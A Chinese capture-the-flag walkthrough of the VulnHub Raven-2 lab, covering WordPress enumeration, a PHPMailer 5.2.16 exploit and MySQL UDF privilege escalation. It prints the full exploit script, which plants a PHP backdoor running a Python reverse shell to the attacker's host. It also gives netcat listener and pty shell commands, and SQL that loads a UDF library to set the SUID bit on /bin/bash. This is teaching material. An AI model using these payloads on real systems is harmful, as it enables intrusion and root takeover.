vulnhub靶场【Raven系列】之2 ,对于mysql udf提权的复习
前言
靶机:Raven-2
,IP地址为192.168.10.9
攻击:kali
,IP地址为192.168.10.2
都采用虚拟机,网卡为桥接模式
文章所用靶机来自
vulnhub
,可通过官网下载,或者通过链接:https://pan.quark.cn/s/a6558e284a2b
主机发现
因为都处于同一局域网、同一网卡、同一网段,并且因为桥接模式,扫描出的结果很多,所以决定采用arp-scan -l
或者netdiscover -r 192.168.10.1/24
扫描网段中的存活主机。
若想要模拟真实,可以采用nmap
等工具
信息收集
使用nmap扫描端口
网站信息探测
访问80端口网站,发现与raven-1
的页面是一样的
点击访问blog
,发现是wordpress
目录
再点击hello world
发现,跳转到一个域名,和raven-
一样,需要绑定ip进行解析
这里还是以linux
进行编辑/etc/hosts
文件进行绑定
再访问wordpress
,页面正常显示了,并且是wordpress
的某个主题默认界面
使用whatweb
尝试对该网站进行指纹识别等操作,确定为wordpress
,版本为4.8.7
那么使用针对该CMS的工具wpscan
进行测试
wpscan --url http://raven.local/wordpress
那么尝试进行枚举用户,发现又是这两个用户michael
和steven
wpscan --url http://raven.local/wordpress -e u
再次对插件进行测试,发现并无有漏洞的插件,爆破密码,但是时间太长,所以尝试进行网站目录爆破
这里是使用gobuster
,当然还有其他很优秀的工具,如dirb、dirsearch
等
gobuster dir -u http://192.168.10.9 -w /usr/share/wordlists/dirb/big.txt -x php,html,zip,tar -b 404,403
但是发现这里的结果与raven-1
是一样的,访问vendor
目录,点击PATH
,发现第一个flag
不过这里也给出当前目录所在路径,往前推测,网站建设在/var/www/html
下
点击version
,发现版本为5.2.16
,发现还是与raven-1
一样,啧,怀疑与前面靶机的方式一模一样,访问security.md
,发现还是一样的安全提示
php mailer漏洞利用
ok
,那么就直接利用php mailer
的漏洞
在raven-1
靶场中,使用的是sh
脚本,不过当时需要修改一些地方,这里采用py
脚本进行测试
searchsploit phpmailer 5.2.16
查看脚本内容
把修改后的代码,放置在这里
from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lhtarget = 'http://192.168.10.9/contact.php'
backdoor = '/test.php'payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.10.2\\\',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit','name': payload,'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/test.php server\" @protonmail.com','message': 'Pwned'}m = MultipartEncoder(fields=fields,boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')headers={'User-Agent': 'curl/7.47.0','Content-Type': m.content_type}proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:print('[+] ExPLoITeD ' + target)
我这里安装模块的pip
有问题,无法直接安装缺失的模块,所以使用python
开启一个虚拟环境
python3 -m venv ./my_venv
source my_venv/bin/activate
这时候就已经启动虚拟环境了,当然想要退出虚拟环境,只需要输入命令deactivate
即可
这时再把缺失的模块使用pip
安装,然后执行python3 40974.py
即可
先在kali
开启监听端口9999
nc -lvvp 9999
然后浏览器访问地址http://192.168.10.9/test.php
,注意,这里访问的不是执行后提供的地址。
这里是把脚本写入到/var/www/html
下的,所以直接访问即可
做到这里,我大概知道了,因为在发现两个用户的时候,就开始进行ssh
爆破了,就是不能成功,所以这里是必须采用php mailer
漏洞利用
使用dpkg
测试靶机是否安装python
,以及什么版本,然后使用python
获取一个交互式的界面即可
dpkg -l | grep python
python -c 'import pty;pty.spawn("/bin/bash")'
靶机内信息收集
在进行种种目录探测时,发现/var/www
目录下,出现flag2
啧,这里的信息与raven-1
靶机一样的,所以直接就查看wordpress
有无连接数据库的文件吧
查看wp-config.php
,有信息,用户名root
,密码R@v3nSecurity
发现之前两个用户的密码,不过进行hash
加密了
这里可以把两个hash
加密的密码,放入一个文件中,然后使用john
解密即可,或者通过在线解密网站也是可以的,网站上基本上对于解密过的,很快便有结果,使用john
的话,是暴力破解的
john
的破解结果
获取到steven
的密码LOLLOL1
,尝试登录ssh
发现不是,看来还是要登录网站
登录wordpress
,在media
处,发现flag3
提权
通过上传pspy64
观察有什么东西,发现只有mysql
以root
身份执行,那么很明确了,mysql udf
提权
和raven-1
靶机一样,这里复习一下
首先确定数据库的版本信息5.5.60
然后测试安全策略的情况
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
3)如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
在kali
中使用searchsploit
搜索对应的mysql udf
漏洞
查看这个c
文件,可以看到用法等情况,因为与raven-1
一样,所以不再进行详细说明
在kali
中进行编译,然后把.so
文件上传到靶机内
这时候确定后,可以开始进行下一步操作了,这里不止可以定义do_system()
,还有sys_exec()
也行的,不过这里的脚本中的定义名为do_system
,所以使用这个函数调用。
具体的可以再去看c
文件,或者自己去编写
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select * from mysql.func;
select do_system('chmod u+s /bin/bash');
再通过do_system
执行加权限
在root
用户的主目录下,找到最后的flag
总结
该靶场与前面靶场raven-1
考察点是一样的,不过这里ssh
爆破取消了。
- 网站目录爆破,发现名信息
- 使用
php mailer
对应的版本漏洞进行复习操作 - 获取反弹
shell
后,发现mysql
与wordpress
连接的数据库文件 - 上传
pspy64
获取到mysql
以root
身份运行的,所以权限很高 - 查看到
wordpress
的用户密码后,能破解的,还是登录网站查看,因为可能有其他敏感信息,多收集 - 测试
mysql udf
提权有无条件,也就是安全策略方面,能否写入和导出,以及插件目录的权限等等
相关文章:

vulnhub靶场【Raven系列】之2 ,对于mysql udf提权的复习
前言 靶机:Raven-2,IP地址为192.168.10.9 攻击:kali,IP地址为192.168.10.2 都采用虚拟机,网卡为桥接模式 文章所用靶机来自vulnhub,可通过官网下载,或者通过链接:https://pan.quark.cn/s/a65…...

基于vite+vue3+mapbox-gl从零搭建一个项目
下面是基于 Vite、Vue 3 和 Mapbox GL 从零搭建一个项目的完整步骤,包括环境搭建、依赖安装、配置和代码示例。 1. 初始化项目 首先,使用 Vite 快速创建一个 Vue 3 项目: npm create vuelatest vue3-mapboxgl --template vue cd vue3-mapbo…...
向harbor中上传镜像(向harbor上传image)
向 Harbor 中上传镜像通常分为以下几个步骤: 1、登录 Harbor 2、构建镜像 3、标记镜像 4、推送镜像到 Harbor 仓库 1、登录 Harbor 首先,确保你已经能够访问 Harbor,并且已经注册了账户。如果还没有 Harbor 账户,你需要先注册一…...
【线性代数】行列式的性质
行列式性质定理讲义 一、行列式的基本性质 性质 1:行列互换 对于任意一个 n n n \times n nn 的方阵 A A A,其行列式 ∣ A ∣ |A| ∣A∣ 满足: ∣ A ∣ ∣ A T ∣ |A| |A^T| ∣A∣∣AT∣ 其中, A T A^T AT 是 A A A 的…...

智能家居企业如何通过设计师渠道打造第二曲线?
随着智能家居行业的迅速发展和消费者需求的不断升级,企业的营销策略也在不断变化。传统的B2C营销模式逐渐让位于更加精细化、定制化的B2B2C模式,其中设计师渠道的开发与合作,成为智能家居企业布局市场、提升品牌影响力的关键。 智能家居推广的…...

Unity3d 实时天气系统基于UniStorm插件和xx天气API实现(含源码)
前言 实时天气在Unity3d三维数字沙盘中的作用非常重要,它能够增强虚拟环境的真实感和互动性,实时天气数据的应用可以提供更为精准和直观的天气信息支持,如果真实的数据加上特效、声音和模型反馈会提高产品档次,提高真实感。 目前…...

年后找工作需要注意的事项
大家好!我是 [数擎 AI],一位热爱探索新技术的前端开发者,在这里分享前端和 Web3D、AI 技术的干货与实战经验。如果你对技术有热情,欢迎关注我的文章,我们一起成长、进步! 开发领域:前端开发 | A…...

模拟器多开窗口单IP与代理IP关系
模拟器多开窗口同IP背后出现的问题 在游戏世界中,模拟器多开窗口是玩家们提升体验的常见做法。通过在同一设备上开启多个模拟器窗口,玩家可以同时运营多个游戏账号,增加游戏的趣味性和效率。 一旦检测到一个IP地址下登录了过多的账号&#x…...
Android ScrollView嵌套X5WebView大片空白问题
scrollview嵌套后webview的高度不可控。留有大片空白。 注:官方不建议scrollview嵌套webview 最好让webview自身滚动 解决方案: act_news_detail_wv.setWebViewClient(new WebViewClient() {Overridepublic void onPageFinished(WebView webView, Str…...

Java Web开发进阶——WebSocket与实时通信
WebSocket 是一种在单个 TCP 连接上进行全双工通信的协议,广泛应用于需要实时数据交换的应用程序中。它能够实现服务器与客户端之间的双向通信,避免了传统 HTTP 请求/响应的延迟。结合 Spring Boot,开发实时通信应用变得更加高效与简便。 1. …...

zerotier搭建虚拟局域网,自建planet
基于该开源项目 自建planet节点,更快速,更安全 本教程依据docker-zerotier-planet 项目文档书写,并以linux(centos 7)和windows作为示例,需要其他系统配置方法,可移步项目文档 一. 前置资源 具有外网ip的服务器 后面…...

SQL面试题1:连续登陆问题
引言 场景介绍: 许多互联网平台为了提高用户的参与度和忠诚度,会推出各种连续登录奖励机制。例如,游戏平台会给连续登录的玩家发放游戏道具、金币等奖励;学习类 APP 会为连续登录学习的用户提供积分,积分可兑换课程或…...

2Spark Core
2Spark Core 1.RDD 详解1) 为什么要有 RDD?2) RDD 是什么?3) RDD 主要属性 2.RDD-API1) RDD 的创建方式2) RDD 的算子分类3) Transformation 转换算子4) Action 动作算子 3. RDD 的持久化/缓存4. RDD 容错机制 Checkpoint5. RDD 依赖关系1) 宽窄依赖2) 为什么要设计宽窄依赖 …...

linux之进程信号(初识信号,信号的产生)
目录 引入一、初识信号(信号预备知识)1.生活中的信号2.Linux中的信号3.信号进程得出的初步结论 二、信号的产生1.通过终端输入产生信号拓展: 硬件中断2.调用系统函数向进程发信号3.硬件异常产生信号4.软件条件产生信号拓展: 核心转储技术总结一下: 引入 一、初识信…...
基于nginx实现正向代理(linux版本)
介绍 在企业开发环境中,局域网内的设备通常需要通过正向代理服务器访问互联网。正向代理服务器充当中介,帮助客户端请求外部资源并返回结果。局域网内也就是俗称的内网,局域网外的互联网就是外网,在一些特殊场景内,例…...

【蓝牙】win11 笔记本电脑连接 hc-06
文章目录 前言步骤 前言 使用电脑通过蓝牙添加串口 步骤 设置 -> 蓝牙和其他设备 点击 显示更多设备 更多蓝牙设置 COM 端口 -> 添加 有可能出现卡顿,等待一会 传出 -> 浏览 点击添加 hc-06,如果没有则点击 再次搜索 确定 添加成…...

小程序组件 —— 31 事件系统 - 事件绑定和事件对象
小程序中绑定事件和网页开发中绑定事件几乎一致,只不过在小程序不能通过 on 的方式绑定事件,也没有 click 等事件,小程序中绑定事件使用 bind 方法,click 事件也需要使用 tap 事件来进行代替,绑定事件的方式有两种&…...

力扣cf补题-1【算法学习day.94】
前言 ###我做这类文章一个重要的目的还是给正在学习的大家提供方向(例如想要掌握基础用法,该刷哪些题?建议灵神的题单和代码随想录)和记录自己的学习过程,我的解析也不会做的非常详细,只会提供思路和一些关…...

系统学习算法:专题四 前缀和
题目一: 算法原理: 这道题是一维前缀和的模板题,通过这道题我们可以了解什么是前缀和 题意很简单,就是先输入数组个数和查询次数,然后将数组的值放进数组,每次查询给2个数,第一个是起点&#x…...
java 迪米特法则,原理、思想、工作流程、实现细节、稳定性、优缺点、应用场景等
迪米特法则(Law of Demeter,LoD),也被称为“最少知识原则”,是一种指导面向对象设计的原则,旨在减少对象之间的耦合度。以下是对迪米特法则的详细解析。 1. 定义 迪米特法则指出:一个对象应该…...

调用支付宝接口响应40004 SYSTEM_ERROR问题排查
在对接支付宝API的时候,遇到了一些问题,记录一下排查过程。 Body:{"datadigital_fincloud_generalsaas_face_certify_initialize_response":{"msg":"Business Failed","code":"40004","sub_msg…...

(十)学生端搭建
本次旨在将之前的已完成的部分功能进行拼装到学生端,同时完善学生端的构建。本次工作主要包括: 1.学生端整体界面布局 2.模拟考场与部分个人画像流程的串联 3.整体学生端逻辑 一、学生端 在主界面可以选择自己的用户角色 选择学生则进入学生登录界面…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序
一、开发准备 环境搭建: 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 项目创建: File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...
电脑插入多块移动硬盘后经常出现卡顿和蓝屏
当电脑在插入多块移动硬盘后频繁出现卡顿和蓝屏问题时,可能涉及硬件资源冲突、驱动兼容性、供电不足或系统设置等多方面原因。以下是逐步排查和解决方案: 1. 检查电源供电问题 问题原因:多块移动硬盘同时运行可能导致USB接口供电不足&#x…...
多模态商品数据接口:融合图像、语音与文字的下一代商品详情体验
一、多模态商品数据接口的技术架构 (一)多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如,当用户上传一张“蓝色连衣裙”的图片时,接口可自动提取图像中的颜色(RGB值&…...
重启Eureka集群中的节点,对已经注册的服务有什么影响
先看答案,如果正确地操作,重启Eureka集群中的节点,对已经注册的服务影响非常小,甚至可以做到无感知。 但如果操作不当,可能会引发短暂的服务发现问题。 下面我们从Eureka的核心工作原理来详细分析这个问题。 Eureka的…...

【VLNs篇】07:NavRL—在动态环境中学习安全飞行
项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战,克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...

推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材)
推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材) 这个项目能干嘛? 使用 gemini 2.0 的 api 和 google 其他的 api 来做衍生处理 简化和优化了文生图和图生图的行为(我的最主要) 并且有一些目标检测和切割(我用不到) 视频和 imagefx 因为没 a…...

Netty从入门到进阶(二)
二、Netty入门 1. 概述 1.1 Netty是什么 Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. Netty是一个异步的、基于事件驱动的网络应用框架,用于…...

GitFlow 工作模式(详解)
今天再学项目的过程中遇到使用gitflow模式管理代码,因此进行学习并且发布关于gitflow的一些思考 Git与GitFlow模式 我们在写代码的时候通常会进行网上保存,无论是github还是gittee,都是一种基于git去保存代码的形式,这样保存代码…...